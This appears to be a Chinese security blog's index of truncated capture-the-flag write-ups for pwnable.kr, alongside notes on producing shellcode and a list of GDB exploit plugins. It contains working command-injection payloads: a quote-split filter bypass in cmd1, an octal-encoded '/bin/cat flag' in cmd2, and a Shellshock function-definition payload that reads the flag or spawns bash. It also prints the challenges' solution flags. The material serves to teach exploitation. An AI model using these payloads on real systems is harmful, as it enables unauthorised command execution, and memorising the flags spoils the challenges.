从汇编生成shellcode的n种方法

第一种,添加asm代码到c中,然后gcc编译生成可执行代码,最后objdump: void main() { asm{ … } } 太麻烦,这里就不详细介绍了,基本上包含在第二种方法中   第二种,直接用NASM或者GAS生成elf文件,然后objdump: nasm -f elf print.asm ld -m elf_i386 -o print print.asm as test.asm -o test.o ld test.asm -o test objdump生成shellcode: objdump -d print2 | grep “^ ” | cut -d$’\t’ -f 2 | tr ‘\n’ ‘ ‘ | sed -e ‘s/ *$//’ | sed -e […]

GDB useful addons or plugins

Helpful GDB Plugins: PEDA PEDA – Python Exploit Development Assistance for GDB https://github.com/longld/peda GEF GDB Enhanced Features https://github.com/hugsy/gef Lisa.py  LLDB Lisa.py: An Exploit Dev Swiss Army Knife. https://github.com/ant4g0nist/lisa.py Voltron Voltron is an extensible debugger UI toolkit written in Python. https://github.com/snare/voltron   How to use GDB debug: http://heather.cs.ucdavis.edu/~matloff/UnixAndC/CLanguage/Debug.html gdb命令笔记 gdb peda常用指令

pwnable.kr-uaf

题目描述: Mommy, what is Use After Free bug? ssh [email protected] -p2222 (pw:guest) 根据题目描述我们知道该题考察UAF(use after free)漏洞,关于UAF,简单说下就是内存地址在free后并没有被销毁,下次为相同的结构类型分配大小类似的空间时,之前的内存空间会被重新使用,如果第二次的指针能够被用户所控制,就造成了UAF漏洞。然后有些基础知识(转自:http://blog.csdn.net/qq_20307987/article/details/51511230):   1 UAF:引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。 2 UAF错误的原因: (1)导致程序出错和发生异常的各种条件 (2)程序负责释放内存的指令发生混乱 其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针) 3 UAF漏洞的利用: (1)先搞出来一个迷途指针 (2)精心构造数据填充被释放的内存区域 (3)再次使用该指针,让填充的数据使eip发生跳转。 4 在填充的阶段要考虑系统的内存分配机制,这里介绍一下SLUB SLUB 对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。 既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件: 用户可以控制该对象的大小 用户空间可以对该对象写入数据 如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。   5 malloc函数做了那些事情。 大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的。 小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块。 在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的。 对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备。   6 虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。   7 vptr每个对象都会有一个,而vptable是每个类有一个 vptr指向vtable 一个类中就算有多个虚函数,也只有一个vptr 做多重继承的时候,继承了多个父类,就会有多个vptr   8 虚函数表的结构:它是一个函数指针表,每一个表项都指向一个函数。任何一个包含至少一个虚函数的类都会有这样一张表。需要注意的是vtable只包含虚函数的指针,没有函数体。实现上是一个函数指针的数组。虚函数表既有继承性又有多态性。每个派生类的vtable继承了它各个基类的vtable,如果基类vtable中包含某一项,则其派生类的vtable中也将包含同样的一项,但是两项的值可能不同。如果派生类覆写(override)了该项对应的虚函数,则派生类vtable的该项指向覆写后的虚函数,没有覆写的话,则沿用基类的值。 […]

pwnable.kr-cmd2

题目描述: Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission… but I wanna play anytime I want! ssh [email protected] -p2222 (pw:flag of cmd1) 这题ssh的登陆密码是cmd1的flag,登陆后查看cmd2.c的源代码: 我们看到相比cmd1还多过滤了“/”,所以这里我们需要绕过这个限制,这里有多种方法可以绕过,经过测试我们发现通过cmd2中的system可以直接执行echo,但是其他的命令都需要绝对路径才行,也就是例如whoami需要”/bin/whoami”,这样会出现”/“。这里利用echo进行绕过: 把所有的字符经过8进制编码: 然后得到编码后的字符串,最后构造payload: [email protected]:~$ ./cmd2 ‘$(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”)’ $(echo “\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147”) FuN_w1th_5h3ll_v4riabl3s_haha 可以成功得到flag: FuN_w1th_5h3ll_v4riabl3s_haha

pwnable.kr-cmd1

题目描述: Mommy! what is PATH environment in Linux? ssh [email protected] -p2222 (pw:guest) cmd1.c的源码为: 看起来过滤了flag,sh,tmp,没有关系,通过shell下面指令拼接可以绕过: “/bin/cat ‘fl”ag’” [email protected]:~$ ./cmd1 “/bin/cat ‘fl”ag’” mommy now I get what PATH environment is for 🙂 所以最终的flag为: mommy now I get what PATH environment is for 🙂   这里更新一种方法: [email protected]:~$ ls cmd1 cmd1.c flag [email protected]:~$ mkdir /tmp/cmd1 [email protected]:~$ cd /tmp/cmd1 [email protected]:/tmp/cmd1$ […]

pwnable.kr-lotto

题目描述: Mommy! I made a lotto program for my homework. do you want to play? ssh [email protected] -p2222 (pw:guest) 看下源码,是个简易的lotto系统,输入6个字符,与系统/dev/urandom生成的6个字符进行比较,如果相同的话就中奖了,但是在检查的地方代码出现了问题: 我们可以看到这里把输入的submit的每个字节都与生成的lotto的每个字节进行了比较,这里如果我们submit提交的都是同一个字节,只要lotto里面出现一次,match的值就为6,会成功返回flag,所以这里我们尝试每次都输入#######,也就是6个35: Submit your 6 lotto bytes : ###### Lotto Start! bad luck… – Select Menu – 1. Play Lotto 2. Help 3. Exit 1 Submit your 6 lotto bytes : ###### Lotto Start! bad luck… […]

pwnable.kr-blackjack

题目描述: Hey! check out this C implementation of blackjack game! I found it online * http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html I like to give my flags to millionares. how much money you got? Running at : nc pwnable.kr 9009 看了下源码,就是个blackjack(21点)游戏,本还以为是需要自己写个机器人,过关的要求的是millionaire(100万),结果黑盒就过了,过程很简单,在投注的时候输了一个很大的数,第一次没有通过,要求重新输入,然后再输一次,并赢了这局就可以了。 看下源码,很容易发现有问题的地方: 这里if应该改成while,如果是if的话,这里只做了一次验证,第二次输入的bet并没有验证: 这样成功获得了flag: YaY_I_AM_A_MILLIONARE_LOL Cash: $727380468 ——- |S | | 9 | | S| ——- Your Total is 9 […]

pwnable.kr-coin1

题目描述: Mommy, I wanna play a game! (if your network response time is too slow, try nc 0 9007 inside pwnable.kr server) Running at : nc pwnable.kr 9007 运行连接后发现是个小游戏: ————————————————— – Shall we play a game? – ————————————————— You have given some gold coins in your hand however, there is one counterfeit coin among them […]

pwnable.kr-shellshock

题目描述: Mommy, there was a shocking news about bash. I bet you already know, but lets just make it sure 🙂 ssh [email protected] -p2222 (pw:guest) shellshock.c的源码为: 顾名思义了,这题就是需要利用shellshock漏洞来获取flag,具体的讲解参见:http://www.myhack58.com/Article/html/3/62/2015/60779.htm 所以我们构造payload:export foo='() { :; }; cat flag‘直接获取flag,或者export foo='() { :; }; bash’切换成shellshock2用户的bash,然后再执行命令获取flag: [email protected]:/home/shellshock$ export foo='() { :; }; bash’ [email protected]:/home/shellshock$ ./shellshock [email protected]:/home/shellshock$ [email protected]:/home/shellshock$ [email protected]:/home/shellshock$ cat flag only if […]

pwnable.kr-mistake

题目描述: We all make mistakes, let’s move on. (don’t take this too seriously, no fancy hacking skill is required at all) This task is based on real event Thanks to dhmonkey hint : operator priority ssh [email protected] -p2222 (pw:guest) mistake.c的源码: 这里我们看看fd的值: 首先,当存在/home/mistake/passcode文件时,fd的返回值为0,而当fd为0时,根据pwnable.kr-fd 我们知道,read()函数第一个参数为0时,read的值来自stdin,也就是通过命令行输入,而不是本题源代码的意思,取自passcode文件,这样,答案我们就可控了。最后我们看到pw_buf和pw_buf2进行比较,如果相同的话,返回正确的flag。 pw_buf等于我们输入的内容,而pw_buf2等于pw_buf每一位的内容与1进行xor后的值,所以这里我们输入pw_buf为1111111111,pw_buf1为0000000000,即可获得flag: [email protected]:~$ ./mistake do not bruteforce… 1111111111 input password : 0000000000 Password OK […]